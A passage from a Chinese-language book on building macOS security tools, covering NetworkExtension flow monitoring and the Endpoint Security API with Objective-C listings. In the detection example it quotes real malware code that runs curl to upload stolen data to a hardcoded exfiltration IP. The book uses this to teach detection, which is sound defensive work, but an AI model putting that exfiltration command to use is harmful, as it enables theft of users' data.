    identifier = D89B5B5D-793C-4940-80FE-54932FAA0500
    sourceAppIdentifier =.com.apple.curl
    sourceAppVersion =
    sourceAppUniqueIdentifier =
    {length = 20, bytes = 0xbbb73e021281eee708f86d974c91182e955de441}
    procPID = 26686
    eprocPID = 26686
    direction = outbound
    inBytes = 0
    outBytes = 0
    signature =
    {length = 32, bytes = 0x5a322cd8 f14f63bc a117ddf5 1762fa5abb8291c9 2b6ab2fd}
    socketID = 5aa2f9354fe80
    localEndpoint = 0.0.0.0:0
    remoteEndpoint = 185.199.108.153:80
    remoteHostname = objective-see.org.
    protocol = 6
    family = 2
    type = 1
    procUUID = 9C547A5F-AD1C-307C-8C16-426EF9EE2F7F
    eprocUUID = 9C547A5F-AD1C-307C-8C16-426EF9EE2F7F 

除了关于责任进程的信息,比如其应用程序 ID 外,我们还可以看到关于目标的详细信息,包括端点和主机名。流对象还包含关于流类型的信息,包括其协议和套接字族。

现在让我们提取更具体的信息。回想一下,在配置过滤器时,我们告诉系统我们只对过滤套接字感兴趣。因此,传递到handleNewFlow:方法的流将是一个 NEFilterSocketFlow 对象,它是 NEFilterFlow 类的子类。这些对象有一个名为 remoteEndpoint 的实例变量,包含一个 NWEndpoint 类型的对象,该对象本身包含有关流的目标地址的信息。你可以通过 NEFilterSocketFlow 对象的 hostname 实例变量提取远程端点的 IP 地址,并通过 port 变量检索其端口,这两个变量都以字符串形式存储(Listing 7-16)。

NSString* addr = ((NEFilterSocketFlow*)flow).remoteEndpoint.hostname;
NSString* port = ((NEFilterSocketFlow*)flow).remoteEndpoint.port; 

Listing 7-16: 提取远程端点的地址和端口

这些 NEFilterSocketFlow 对象还包含有关流的低级信息,包括套接字族、类型和协议。Table 7-1 总结了这些信息,但你可以在 Apple 的NEFilterFlow.h中了解更多细节。

Table 7-1: NEFilterSocketFlow 对象中的低级流信息

变量名 类型 描述
socketType int 套接字类型,如 SOCK_STREAM
socketFamily int 套接字族,如 AF_INET
socketProtocol int 套接字协议,如 IPPROTO_TCP

从 remoteEndpoint 和 socket 实例变量中,你可以提取信息用于网络基础的启发式分析。例如,你可以设计一个启发式规则,标记所有目标为非标准端口的网络流量。

为了识别负责的进程,NEFilterFlow 对象有 sourceAppIdentifier 和 sourceAppAuditToken 属性。我们将重点关注后者,因为它能提供进程 ID 和进程路径。清单 7-17 通过采用我们在 DNS 监视器中使用的方法来执行此提取。

CFURLRef path = NULL;
SecCodeRef code = NULL;
audit_token_t* token = (audit_token_t*)flow.sourceAppAuditToken.bytes;

pid_t pid = audit_token_to_pid(*token);

SecCodeCopyGuestWithAttributes(NULL, (__bridge CFDictionaryRef _Nullable)(@{(__bridge NSString
*)kSecGuestAttributeAudit:flow.sourceAppAuditToken}), kSecCSDefaultFlags, &code);

SecCodeCopyPath(code, kSecCSDefaultFlags, &path);

// Do something with the process ID and path.

CFRelease(path);
CFRelease(code); 

清单 7-17:从流中识别负责的进程

我们从流中提取审计令牌,然后调用 audit_token_to_pid 函数获取负责进程的 ID。我们还使用审计令牌获取代码引用,然后调用 SecCodeCopyPath 来检索进程路径。

运行监视器

如果我们将此代码编译为实现完整、适当授权的网络扩展的一部分,我们可以实时全局观察所有出站网络流量,并提取每个流的远程端点和负责的进程信息。是的,这意味着我们现在可以轻松检测到像 Dummy 这样的基础恶意软件,但让我们针对一个相关的 macOS 恶意软件样本——SentinelSneak 进行测试。

这个恶意的 Python 软件包在 2022 年底被发现,目标是开发者,目的是窃取敏感数据。^(14)它使用了一个硬编码的 IP 地址作为命令与控制服务器。从它未加混淆的 Python 代码中,我们可以看到 curl 将感染系统的信息上传到位于 54.254.189.27 的外泄服务器:

command = "curl -k -F \"file=@" + zipname + "\" \"https://54.254.189.27/api/
v1/file/upload\" > /dev/null 2>&1"
os.system(command) 

这意味着我们在本章早些时候编写的 DNS 监视器无法检测到它的未经授权的网络访问。但过滤器数据提供者应该捕获并显示以下内容:

flow:
    identifier = D89B5B5D-793C-4940-41BD-B091F4C00700
    sourceAppIdentifier =.com.apple.curl
    sourceAppVersion =
    sourceAppUniqueIdentifier = {length = 20, bytes =
    0xbbb73e021281eee708f86d974c91182e955de441}
    procPID = 87558
    eprocPID = 87558
    direction = outbound
    inBytes = 0
    outBytes = 0
    signature = {length = 32, bytes = 0x4ee4a2f2 72c06264
    f38d479b 6ea2dc39 ... 74aa159c 9153147b}
    socketID = 7c0f491b0bd41
    localEndpoint = 0.0.0.0:0
    remoteEndpoint = 54.254.189.27:443
    protocol = 6
    family = 2
    type = 1
    procUUID = 9C547A5F-AD1C-307C-8C16-426EF9EE2F7F
    eprocUUID = 9C547A5F-AD1C-307C-8C16-426EF9EE2F7F

Remote Endpoint: 54.254.189.27:443

Process ID: 87558
Process Path: /usr/bin/curl 

如你所见,它能够捕获流量,提取远程端点(54.254.189.27:443),并正确识别负责的进程为 curl。

这个负责的进程使得检测变得更加复杂,因为 curl 是一个合法的 macOS 平台二进制文件,而不是恶意软件的不可信组件。我们该怎么做呢?好吧,使用第一章中介绍的方法,我们可以提取恶意软件执行 curl 时使用的参数:

-k -F "file=`<some file>`" https://54.254.189.27/api/v1/file/upload

这些参数应该引起警惕,因为尽管合法软件通常使用 curl 下载文件,但它很少用于上传文件,尤其是上传到硬编码的 IP 地址。此外,-k 参数告诉 curl 以不安全模式运行,这意味着服务器的 SSL 证书将不会被验证。再次强调,这是一个警告信号,因为合法软件利用 curl 时通常不会以这种不安全的模式运行。

你也可以确定该进程的父进程是一个 Python 脚本,并收集该脚本进行手动分析,这将很快揭示它的恶意性质。

结论

本章重点介绍了通过利用苹果强大的NetworkExtension框架来构建实时、基于主机的网络监控工具所需的概念。由于绝大多数 Mac 恶意软件都包含网络功能,因此本章中描述的技术对于任何恶意软件检测系统都是必不可少的。未经授权的网络活动作为许多安全工具和启发式检测方法的关键指示器,为检测针对 macOS 的已知和未知威胁提供了宝贵的方式。

注释

  1. 1.  “Smooth Operator,”GCHQ,2023 年 6 月 29 日,https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/smooth-operator/NCSC_MAR-Smooth-Operator.pdf.

  2. 2.  Patrick Wardle,"哪里有爱,哪里就有……恶意软件?" Objective-See,2023 年 2 月 24 日,https://objective-see.org/blog/blog_0x72.html.

  3. 3.  “Crowdstrike Endpoint Security Detection re 3CX 桌面应用程序,”3CX 论坛,2023 年 3 月 29 日,https://www.3cx.com/community/threads/crowdstrike-endpoint-security-detection-re-3cx-desktop-app.119934/.

  4. 4.  有关系统扩展的详细信息,请参见 Will Yu 的文章,“Mac 系统扩展用于威胁检测:第三部分,”Elastic,2020 年 2 月 19 日,https://www.elastic.co/blog/mac-system-extensions-for-threat-detection-part-3.

  5. 5.  “网络扩展,”苹果开发者文档,https://developer.apple.com/documentation/networkextension?language=objc.

  6. 6.  “安装系统扩展和驱动程序,”苹果开发者文档,https://developer.apple.com/documentation/systemextensions/installing-system-extensions-and-drivers?language=objc.

  7. 7.  另请参见https://objective-see.org/products/utilities.html#DNSMonitor.

  8. 8.  “activationRequestForExtension:queue:,”Apple 开发者文档,https://developer.apple.com/documentation/systemextensions/ossystemextensionrequest/activationrequest(forextensionwithidentifier:queue:)?language=objc

  9. 9.  “OSSystemExtensionRequestDelegate,”Apple 开发者文档,https://developer.apple.com/documentation/systemextensions/ossystemextensionrequestdelegate?language=objc

  10. 10.  “startSystemExtensionMode,”Apple 开发者文档,https://developer.apple.com/documentation/networkextension/neprovider/3197862-startsystemextensionmode?language=objc

  11. 11.  “NEDNSProxyProvider,”Apple 开发者文档,https://developer.apple.com/documentation/networkextension/nednsproxyprovider?language=objc

  12. 12.  Dan Goodin,“Apple 允许一些 Big Sur 网络流量绕过防火墙”,Arstechnica,2020 年 11 月 17 日,https://arstechnica.com/gadgets/2020/11/apple-lets-some-big-sur-network-traffic-bypass-firewalls/

  13. 13.  Filipe Espósito,“macOS Big Sur 11.2 beta 2 移除允许 Apple 应用程序绕过第三方防火墙的过滤器”,9to5Mac,2021 年 1 月 13 日,https://9to5mac.com/2021/01/13/macos-big-sur-11-2-beta-2-removes-filter-that-lets-apple-apps-bypass-third-party-firewalls/

  14. 14.  Patrick Wardle,“2022 年 Mac 恶意软件”,Objective-See,2023 年 1 月 1 日,https://objective-see.org/blog/blog_0x71.html

第八章:8 ENDPOINT SECURITY

如果你已经读到这本书的这一部分,你可能已经得出结论,编写 macOS 的安全工具是一项具有挑战性的任务,主要原因在于 Apple 本身。例如,如果你想捕获远程进程的内存,那么你就无能为力了,列举所有持久安装的项目是可行的,正如你在第五章中看到的那样,但这需要逆向工程一个专有的、未公开的数据库。

但我不是来批评 Apple 的,正如本章将要展示的那样,该公司通过发布 Endpoint Security 来回应我们的呼声。它在 macOS 10.15(Catalina)中引入,是 Apple 首个专为帮助第三方开发者构建高级用户模式安全工具而设计的框架,例如那些专注于检测恶意软件的工具。^(1) Endpoint Security 的重要性和强大功能难以言表,这也是为什么我会专门 dedicating 两章内容来讨论它。

在本章中,我将概述该框架,并讨论如何使用其 API 执行如监控文件和进程事件等操作。下一章将重点介绍更高级的主题,如静音和授权事件。在第三部分中,我将向你展示如何在 Endpoint Security 上构建几个工具。

本章和下一章中展示的大多数代码片段直接来自 ESPlayground 项目,该项目位于本书 GitHub 仓库的第八章文件夹中(https://github.com/Objective-see/TAOMM)。这个项目包含完整的代码,因此,如果你想构建自己的 Endpoint Security 工具,建议从那里开始。

Endpoint Security 工作流

Endpoint Security 允许你创建一个程序(在 Apple 的术语中称为客户端)并注册感兴趣的事件(或订阅事件)。每当这些事件在系统上发生时,Endpoint Security 会将一条消息发送给你的程序。它还可以在你的工具授权之前阻止事件的执行。例如,假设你希望在每次新进程启动时收到通知,这样你就可以确保它不是恶意软件。使用 Endpoint Security,你可以指定是仅接收新进程的通知,还是在你检查并授权之前,系统应暂时阻止该进程的启动。

许多 Objective-See 的工具使用了我刚才描述的 Endpoint Security。例如,BlockBlock 使用 Endpoint Security 来监控持久文件事件,并阻止非公证进程和脚本。图 8-1 展示了 BlockBlock 阻止利用零日漏洞(CVE-2021-30657)绕过 macOS 代码签名和公证检查的恶意软件。

为了防止恶意行为者滥用端点安全的功能,macOS 要求任何利用端点安全的工具必须满足若干要求。最显著的一项是从苹果获得com.apple.developer.endpoint-security.client的授权。在本书的第三部分中,我将详细解释如何向苹果申请此授权,并在获得授权后生成并应用配置文件,以便你可以将你的工具部署到其他 macOS 系统。

图 8-1:BlockBlock 使用端点安全来阻止不受信任的脚本和进程运行。

如本书引言所述,暂时禁用系统完整性保护(SIP)和苹果移动文件完整性(AMFI)将允许你本地开发和测试利用端点安全的工具。你仍然需要添加客户端授权,但在禁用这两个 macOS 安全机制后,你可以将授权授予自己。在ESPlayground项目中,你可以在ESPlayground.entitlements文件中找到所需的端点安全客户端授权(列表 8-1)。

<?xml version="1.0" encoding="UTF-8"?>
...
<plist version="1.0">
<dict>
    <key>**com.apple.developer.endpoint-security.client**</key>
    <true/>
</dict>
</plist> 

列表 8-1:指定所需的客户端授权

代码签名授权构建设置引用了这个文件,因此在编译时,它会被添加到项目的应用程序包中。因此,在禁用 SIP 和 AMFI 的系统上,订阅并接收端点安全事件将成功。

如果你正在设计一个利用端点安全的工具,你可能会采取相同的四个步骤:

1.  声明感兴趣的事件。

2.  创建一个新的客户端和回调处理块。

3.  订阅事件。

4.  处理传递给处理块的事件。

让我们逐步了解这些步骤,从理解感兴趣的事件开始。

感兴趣的事件

你可以在ESTypes.h头文件中找到端点安全事件的列表。如果你安装了 Xcode,这个文件和其他端点安全的头文件应该位于其 SDK 目录下:/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/EndpointSecurity。虽然苹果的官方开发文档有时不完整,但头文件ESClient.hESMessage.hEndpointSecurity.hESTypes.h都有非常详细的注释,你应该将它们视为端点安全信息的权威来源。

ESTypes.h中,你可以在 es_event_type_t 枚举中找到端点安全事件的列表:

/**
 * The valid event types recognized by EndpointSecurity
 *
 ...
 *
*/
typedef enum {

  // The following events are available beginning in macOS 10.15.
  ES_EVENT_TYPE_AUTH_EXEC,
  ES_EVENT_TYPE_AUTH_OPEN,
  ES_EVENT_TYPE_AUTH_KEXTLOAD,
  ...
  ES_EVENT_TYPE_NOTIFY_EXEC,
  ...
  ES_EVENT_TYPE_NOTIFY_EXIT,
  ...

  // The following events are available beginning in macOS 13.0.
  ES_EVENT_TYPE_NOTIFY_AUTHENTICATION,
 ES_EVENT_TYPE_NOTIFY_XP_MALWARE_DETECTED,
  ES_EVENT_TYPE_NOTIFY_XP_MALWARE_REMEDIATED,
  ...
  ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD,
  ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_REMOVE,

  // The following events are available beginning in macOS 14.0.
  ...
  ES_EVENT_TYPE_NOTIFY_XPC_CONNECT,

  // The following events are available beginning in macOS 15.0.
  ES_EVENT_TYPE_NOTIFY_GATEKEEPER_USER_OVERRIDE,
  ...

  ES_EVENT_TYPE_LAST
} es_event_type_t; 

让我们做一些观察。首先,正如头文件中的注释所示,并非所有事件都在所有版本的 macOS 中可用。例如,你会发现与 XProtect 恶意软件检测或持久性项目添加相关的事件仅从 macOS 13 开始才有。

其次,虽然这个头文件和 Apple 的开发者文档没有直接记录这些事件类型,但它们的名称应该能给你一个大致的用途概念。例如,想要被动监控进程执行的工具应该订阅 ES_EVENT_TYPE_NOTIFY_EXEC 事件。此外,正如我们将看到的,每个事件类型都与一个相应的事件结构相关联,例如 es_event_exec_t。框架头文件对此进行了很好的记录。

最后,头文件中的名称分为两类:ES_EVENT_TYPE_AUTH_* 和 ES_EVENT_TYPE_NOTIFY_*。授权事件通常来源于内核模式,并在交付给 Endpoint Security 客户端后进入待处理状态,需要客户端显式授权或拒绝它们。例如,要仅允许已验证的进程运行,你需要先注册 ES_EVENT_TYPE_AUTH_EXEC 事件,然后检查每个交付的事件,仅授权那些代表已验证进程生成的事件。我将在下一章讨论授权事件。通知事件来源于用户模式,适用于已经发生的事件。如果你在创建被动监控工具,例如进程监控工具,你将订阅这些事件。

内置的 macOS 工具 eslogger,位于 /usr/bin,提供了一种轻松探索 Endpoint Security 子系统的方式,因为它直接从终端捕获并输出 Endpoint Security 通知。例如,假设你想构建一个进程监控工具。你的监控工具应该订阅哪些 Endpoint Security 事件,以便接收有关进程的信息?ES_EVENT_TYPE_NOTIFY_EXEC 事件看起来很有前景。让我们使用 macOS 的 eslogger 来看看我们是否在正确的方向上。

为了捕获并输出感兴趣的 Endpoint Security 事件,可以从终端以 root 权限执行 eslogger,并指定事件的名称。该工具使用简短的名称表示 Endpoint Security 通知事件,你可以通过 --list-events 命令行选项列出这些事件:

# **eslogger --list-events**
access
authentication
...
exec
... 

要查看 ES_EVENT_TYPE_NOTIFY_EXEC 事件,传递 exec 给 eslogger:

# **eslogger exec**

一旦 eslogger 捕获到进程执行事件,尝试执行一个命令,比如 say,参数为 Hello World。该工具应该输出关于执行事件的详细信息。^(2) 这是输出的一个片段(在你的系统上可能会稍有不同,具体取决于你的 macOS 版本):

# **eslogger exec**
{
    "event_type": 9,
        "event": {
            "exec": {
                "script": null,
                "target": {
                    "signing_id": "com.apple.say",
                    "executable": {
                    "path": "\/usr\/bin\/say",
                    "ppid": 1152,
                    ...
                    "is_platform_binary": true,
                    "audit_token": {
                        ...
                    },
                    "original_ppid": 1152,
                    "cdhash": "6C92E006B491C58B62F0C66E2D880CE5FE015573",
                    "team_id": null
                },
                "image_cpusubtype": -2147483646,
                "image_cputype": 16777228,
                "args": ["say", "Hello", "World"],
                ...
} 

如你所见,Endpoint Security 不仅提供了基本信息,如新执行进程的路径和进程 ID,还提供了代码签名信息、参数、父进程 PID 等更多内容。利用 Endpoint Security 可以大大简化任何安全工具,避免其必须生成关于事件本身的额外信息。

客户端、处理程序块和事件处理

现在,你可能会想知道如何订阅事件并以编程方式与其中的信息交互。例如,如何提取进程通知事件 ES_EVENT_TYPE_NOTIFY_EXEC 的路径或参数?首先,你必须创建一个 Endpoint Security 客户端。

要创建一个新的客户端,进程可以调用 Endpoint Security 函数 es_new_client,该函数接受一个回调处理程序块和一个指向 es_client_t 的输出指针,Endpoint Security 将使用新客户端来初始化它。该函数返回一个类型为 es_new_client_result_t 的结果,如果调用成功,则设置为 ES_NEW_CLIENT_RESULT_SUCCESS。它还可能返回以下失败值之一,如ESClient.h中详细说明:

ES_NEW_CLIENT_RESULT_ERR_NOT_ENTITLED 调用者没有com.apple.developer.endpoint-security.client的授权。

ES_NEW_CLIENT_RESULT_ERR_NOT_PERMITTED 调用者没有权限连接到 Endpoint Security 子系统,因为它没有得到用户的 TCC 批准。

ES_NEW_CLIENT_RESULT_ERR_NOT_PRIVILEGED 调用者没有 root 权限。

头文件提供了有关这些错误的更多细节,以及如何修复每个错误的建议。

在你订阅事件后,框架会自动为每个事件调用传递给 es_new_client 函数的回调处理程序块。在调用中,框架会包括一个指向客户端的指针和一个包含已传递事件详细信息的 es_message_t 结构。ESMessage.h文件定义了此消息类型:

typedef struct {
    uint32_t version;
    struct timespec time;
    uint64_t mach_time;
    uint64_t deadline;
    es_process_t* _Nonnull process;
    uint64_t seq_num; /* field available only if message version >= 2 */
    es_action_type_t action_type;
    union {
        es_event_id_t auth;
        es_result_t notify;
    } action;
    es_event_type_t event_type;
    es_events_t event;
    es_thread_t* _Nullable thread; /* field available only if message version >= 4 */
    uint64_t global_seq_num; /* field available only if message version >= 4 */
    uint64_t opaque[]; /* Opaque data that must not be accessed directly */
} es_message_t; 

我们可以查阅头文件,了解每个结构成员的简要描述(或运行 eslogger 查看每个事件的完整结构),但这里我们先介绍几个重要成员。在结构体的开头是版本字段。这个字段非常有用,因为某些其他字段可能仅在较新版本中才会出现。例如,进程的 CPU 类型(image_cputype)仅在版本字段为 6 或更高版本时才可用。接下来是各种时间戳和一个截止时间。我将在第九章中讨论截止时间,因为它在处理事件授权时起着重要作用。

es_process_t 结构描述了负责执行触发事件的操作的进程。稍后我们将更详细地探讨 es_process_t 结构,但现在足以理解它们包含关于进程的信息,包括审计令牌、代码签名信息、路径等。

下一个讨论的成员是 event_type,它将设置为已传递事件的类型,例如 ES_EVENT_TYPE_NOTIFY_EXEC。这非常有用,因为客户端通常会注册多个事件类型。由于每种事件类型包含不同的数据,因此确定你正在处理的事件类型非常重要。例如,一个进程监视器可能会使用 switch 语句来处理这些事件类型(Listing 8-2)。

switch(message->event_type) {
    case ES_EVENT_TYPE_NOTIFY_EXEC:
        // Add code here to handle exec events.
        break;

    case ES_EVENT_TYPE_NOTIFY_FORK:
        // Add code here to handle fork events.
        break;

    case ES_EVENT_TYPE_NOTIFY_EXIT:
        // Add code here to handle exit events.
        break;

    default:
        break;
} 

Listing 8-2:处理多种消息类型

es_message_t 结构中的事件类型特定数据的类型是 es_events_t。该类型是一个大型联合体,定义在 ESMessage.h 中,映射到 Endpoint Security 事件。例如,在这个联合体中,我们找到了 es_event_exec_t,这是 ES_EVENT_TYPE_NOTIFY_EXEC 事件类型。在同一个头文件中,定义了 es_event_exec_t:

/**
 * @brief Execute a new process.
 * @field target The new process that is being executed.
 * @field script The script being executed by the interpreter.
 ...
*/
typedef struct {
    es_process_t* _Nonnull target;
    es_string_token_t dyld_exec_path; /* field available only if message version >= 7 */
    union {
        uint8_t reserved[64];
        struct {
            es_file_t* _Nullable script; /* field available only if message version >= 2 */
            es_file_t* _Nonnull cwd; /* field available only if message version >= 3 */
            int last_fd; /* field available only if message version >= 4 */
            cpu_type_t image_cputype; /* field available only if message version >= 6 */
            cpu_subtype_t image_cpusubtype; /* field available only if message version >= 6 */
            };
        };
} es_event_exec_t; 

再次参考头文件,查看 es_event_exec_t 结构每个成员的详细注释。最相关的是名为 target 的成员,它是指向 es_process_t 结构的指针,表示被执行的新进程。让我们更仔细地看看这个结构,看看它提供了关于进程的哪些信息:

/**
 * @brief Information related to a process. This is used both for describing processes ...
(e.g., for exec events, this describes the new process being executed).
 *
 * @field audit_token Audit token of the process
 * @field ppid Parent pid of the process
 ...
 * @field signing_id The signing id of the code signature associated with this process
 * @field team_id The team id of the code signature associated with this process
 * @field executable The executable file that is executing in this process
...
*/
typedef struct {
    audit_token_t audit_token;
    pid_t ppid;
    pid_t original_ppid;
    pid_t group_id;
    pid_t session_id;
    uint32_t codesigning_flags;
    bool is_platform_binary;
    bool is_es_client;
    uint8_t cdhash[20];
    es_string_token_t signing_id;
    es_string_token_t team_id;
    es_file_t* _Nonnull executable;
    es_file_t* _Nullable tty;
    struct timeval start_time;
    audit_token_t responsible_audit_token;
    audit_token_t parent_audit_token;
} es_process_t; 

与头文件中的其他结构一样,注释解释了许多结构成员。特别对我们感兴趣的是以下成员:

  • 审计令牌(例如 audit_token、responsible_audit_token 和 parent_audit_token)

  • 代码签名信息(例如 signing_id 和 team_id)

  • 可执行文件(executable)

在前面的章节中,我讨论了构建进程层级的有用性以及创建准确进程层级所面临的挑战。Endpoint Security 子系统为我们提供了直接父进程和负责创建新进程的进程的审计令牌,使得为新创建的进程构建准确的进程层级变得轻而易举。es_process_t 结构直接包含这些信息,因此我们不再需要手动构建这样的层级。

现在让我们谈谈 es_process_t 结构的可执行成员,它是指向 es_file_t 结构的指针。如以下结构定义所示,es_file_t 结构提供了磁盘上文件的路径,例如进程的二进制文件:

/**
 * @brief es_file_t provides the stat information and path to a file.

 * @field path Absolute path of the file
 * @field path_truncated Indicates if the path field was truncated
 ...
*/
typedef struct {
    es_string_token_t path;
    bool path_truncated;
    struct stat stat;
} es_file_t; 

要获取实际路径,你必须了解另一个结构,es_string_token_t。你会经常遇到它,因为它是 Endpoint Security 存储字符串(如文件路径)的方式。这个简单的结构定义在 ESTypes.h 中,仅包含两个成员:

/**
 * @brief Structure for handling strings
*/
typedef struct {
    size_t length;
    const char* data;
} es_string_token_t; 

结构中的 length 成员是字符串令牌的长度。头文件中的注释指出,它等同于 strlen 返回的值。然而,你不应该对字符串数据使用 strlen,因为结构的 data 成员不能保证是以 NULL 结尾的。要将 es_string_token_t 结构打印为 C 字符串,使用 %.*s 格式字符串,它需要两个参数:要打印的最大字符数,然后是指向字符的指针(Listing 8-3)。

es_string_token_t* responsibleProcessPath = &message->process->executable->path;
printf("responsible process: %.*s\n",
(int)responsibleProcessPath->length, responsibleProcessPath->data);

es_string_token_t* newProcessPath = &message->event.exec.target->executable->path;
printf("new process: %.*s\n", (int)newProcessPath->length, newProcessPath->data); 

Listing 8-3:从 es_process_t 结构中输出 es_string_token_t 结构

首先,代码提取触发 Endpoint Security 事件的进程的字符串 token。然后,使用上述格式化字符串和字符串 token 结构的长度和数据成员打印出该进程的路径。回想一下,当发生 ES_EVENT_TYPE_NOTIFY_EXEC 事件时,描述新创建进程的结构可以在 exec 结构的 target 成员中找到(该结构位于消息的事件结构中)。接着,代码访问该结构以打印出新创建进程的路径。

现在,你可能不仅仅希望打印出有关事件的信息。例如,对于所有新进程,你可能想提取它们的路径并将其存储在数组中,或者将每个路径传递给一个函数来检查它们是否经过公证。为了实现这一点,你可能需要将字符串 token 转换为更易于编程操作的对象,如 NSString。如列表 8-4 所示,你可以通过一行代码来实现这一点。

NSString* string = [[NSString alloc] initWithBytes:stringToken->data length:stringToken->
length encoding:NSUTF8StringEncoding]; 

列表 8-4:将 es_string_token_t 转换为 NSString

代码使用了 NSString 的 initWithBytes:length:encoding: 方法,传入字符串 token 的数据、长度成员以及字符串编码 NSUTF8StringEncoding。

要实际开始接收事件,你必须订阅!手持 Endpoint Security 客户端后,调用 es_subscribe API。它的参数包括新创建的客户端、事件数组以及要订阅的事件数量,这里包括进程执行和退出事件(列表 8-5)。

es_client_t* client = NULL;
es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_EXIT};

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    // Add code here to handle delivered events.
});

es_subscribe(client, events, sizeof(events)/sizeof(events[0])); ❶ 

列表 8-5:订阅事件

请注意,我们计算事件的数量,而不是硬编码它 ❶。一旦 es_subscribe 函数返回且没有错误,Endpoint Security 子系统将开始异步地传递与我们订阅的类型匹配的事件。具体来说,它将调用我们在创建客户端时指定的处理块。

创建进程监控器

让我们通过创建一个依赖于 Endpoint Security 的进程监控器来应用所学的内容。我们将首先订阅进程事件,如 ES_EVENT_TYPE_NOTIFY_EXEC,然后在接收到事件时解析相关的进程信息。

注意

这里仅提供相关的代码片段,完整的代码可以在 ESPlayground 项目的 monitor.m 文件中找到。你也可以在 Objective-See 的 GitHub 仓库中的 ProcessMonitor 项目找到一个基于 Endpoint Security 的开源、生产就绪的进程监控构建,链接为 github.com/objective-see/ProcessMonitor*.*

我们首先指定感兴趣的 Endpoint Security 事件。对于一个简单的进程监控器,我们可以只关注 ES_EVENT_TYPE_NOTIFY_EXEC 事件。然而,我们还会注册 ES_EVENT_TYPE_NOTIFY_EXIT 事件,以追踪进程退出。我们将这些事件类型放入一个数组中(列表 8-6)。一旦创建了一个 Endpoint Security 客户端,我们将订阅这些事件。

es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_EXIT};

列表 8-6:简单进程监控器的关注事件

在列表 8-7 中,我们通过 es_new_client API 创建一个客户端。

es_client_t* client = NULL;
es_new_client_result_t result =
es_new_client(&client, ^(es_client_t* client, const es_message_t* message) { ❶
    // Add code here to handle delivered events.
});

if(ES_NEW_CLIENT_RESULT_SUCCESS != result) { ❷
    // Add code here to handle error.
} 

列表 8-7:创建一个新的 Endpoint Security 客户端

我们调用 es_new_client API 创建一个新的客户端实例 ❶,并暂时不实现处理程序块。假设调用成功,我们将得到一个新初始化的客户端。代码检查调用结果是否与 ES_NEW_CLIENT_RESULT_SUCCESS 常量匹配,以确认这一点 ❷。请记住,如果您的项目没有适当授权,或者通过终端运行时未授予其完全磁盘访问权限,或者代码没有以 root 权限运行,调用 es_new_client 将会失败。

订阅事件

拿到客户端后,我们可以通过调用 es_subscribe API 来订阅进程执行和退出事件(列表 8-8)。

es_event_type_t events[] = {ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_EXIT};

// Removed code that invoked es_new_client

es_subscribe(client, events, sizeof(events)/sizeof(events[0])); ❶ 

列表 8-8:订阅关注的进程事件

请注意,我们计算事件的数量,而不是硬编码它 ❶。一旦 es_subscribe 函数返回,Endpoint Security 子系统将开始异步传送与我们已订阅类型匹配的事件。

提取进程对象

这带我们进入最后一步,即处理已传送的事件。我提到过,处理程序块会以两个参数被调用:类型为 es_client_t 的客户端(接收事件的客户端)和指向事件消息的指针,类型为 es_message_t。如果我们不处理授权事件,客户端就不直接相关,但我们会使用消息,其中包含有关已传送事件的信息。

首先,我们将提取指向 es_process_t 结构的指针,该结构包含关于新启动进程或刚刚退出进程的信息。选择提取哪个进程结构需要根据事件类型来决定。对于退出(以及大多数其他)事件,我们将提取消息中的进程成员,该成员包含指向负责触发事件的进程的指针。然而,对于进程执行事件,我们更关心访问刚刚启动的进程。因此,我们将使用 es_event_exec_t 结构,其 target 成员是指向相关 es_process_t 结构的指针(列表 8-9)。

es_new_client(&client, ^(es_client_t* client, const es_message_t* message) {
    es_process_t* process = NULL;
  ❶ u_int32_t event = message->event_type;
  ❷ switch(event) {
      ❸ case ES_EVENT_TYPE_NOTIFY_EXEC:
          process = message->event.exec.target;
          ...
          break;

 ❹ case ES_EVENT_TYPE_NOTIFY_EXIT:
          process = message->process;
          ...
          break;
    }
    ...
}); 

列表 8-9:提取相关进程

我们首先从消息中提取事件类型 ❶,然后根据事件类型进行切换 ❷,从而提取指向 es_process_t 结构体的指针。在进程执行事件的情况下,我们从 es_event_exec_t 结构体 ❸ 中提取刚刚启动的进程。对于进程退出消息,我们直接从消息中提取进程 ❹。

提取进程信息

现在我们有了指向 es_process_t 结构体的指针,可以提取信息,比如进程的审计令牌、PID、路径以及代码签名信息。此外,对于新启动的进程,我们可以提取其参数,对于已退出的进程,我们可以提取其退出代码。

审计令牌

让我们从简单的开始,通过提取进程的审计令牌(Listing 8-10)。

NSData* auditToken = [NSData dataWithBytes:&process->audit_token length:sizeof(audit_token_t)];

Listing 8-10: 提取审计令牌

审计令牌是 es_process_t 结构体中的第一个字段,类型为 audit_token_t。你可以直接使用这个值,或者像这里所做的那样,将其提取到一个 NSData 对象中。回想一下,审计令牌允许你唯一且安全地识别进程,并提取其他进程的信息,比如进程 ID。在 Listing 8-11 中,我们将审计令牌传递给 audit_token_to_pid 函数,该函数返回 PID。

pid_t pid = audit_token_to_pid(process->audit_token);

Listing 8-11: 将审计令牌转换为进程 ID

我们还可以通过 audit_token_to_euid 函数从审计令牌中提取进程的有效 UID。

请注意,调用这些函数时需要导入 bsm/libbsm.h 头文件并链接 libbsm 库。

进程路径

在 Listing 8-12 中,我们通过指向 es_process_t 结构体中的 executable 字段的指针提取进程路径。这个字段指向一个 es_file_t 结构体,其中的 path 字段包含进程的路径。

NSString* path = [[NSString alloc] initWithBytes:process->executable->path.data
length:process->executable->path.length encoding:NSUTF8StringEncoding]; 

Listing 8-12: 提取进程路径

因为该字段的类型是 es_string_token_t,我们将其转换为一个更易于管理的字符串对象。

层级结构

使用 es_process_t 进程结构体也简化了进程层级的构建。我们可以从 es_process_t 结构体中提取父进程的 ID。然而,ESMessage.h 头文件中的一条注释建议改为使用 parent_audit_token 字段,该字段在版本 4 及更高版本的 Endpoint Security 消息中可用。在这些版本中,我们还会在一个恰如其分命名的字段 responsible_audit_token 中找到负责进程的审计令牌。在 Listing 8-13 中,在确保消息版本足够的情况下,我们提取这些信息。

pid_t ppid = process->ppid; ❶

if(message->version >= 4) {
